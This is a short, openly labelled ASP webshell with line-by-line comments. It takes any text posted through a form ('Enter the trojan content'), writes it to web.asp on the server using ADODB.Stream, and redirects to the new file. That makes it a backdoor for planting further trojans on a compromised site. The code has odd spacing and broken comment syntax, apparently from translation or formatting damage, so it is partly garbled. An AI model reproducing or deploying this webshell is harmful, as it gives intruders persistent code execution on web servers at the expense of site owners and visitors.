A webshell written with stream object in newmm. asp

<% If request ("data") <> "" then %> <! -If the obtained data value is not null, execute the following statement.->
<% Set save = server. createObject ("Adodb. Stream") %> <! -Create a stream object.->
<% Save. Type = 2%> <! -Set the streaming object type to streaming->
<% Save. Open %> <! -Open a stream object.->
<% Save. CharSet = "gb2312" %> <! -Set the stream object encoding method to GB2312->
<% Save. writetext request ("data") %> <! -Load the retrieved date data into the stream object.->
<% Save. SaveToFile server. mappath ("web. asp"), 2%> <! -Write the object content to web. asp in the current directory.->
<% Save. Close %> <! -Close the stream object.->
<% Set save = nothing %> <! -Destroy a stream object.->
<% Response. redirect "web. asp" %> <! -Jump to the written web. asp file after the statement is completed->
<% End if %>
<Form action = method = post>
Enter the trojan content: <br>
<Textarea name = data cols = 80 rows = 10 width = 32> </textarea> <br>
<Input type = submit value = save>
</Form>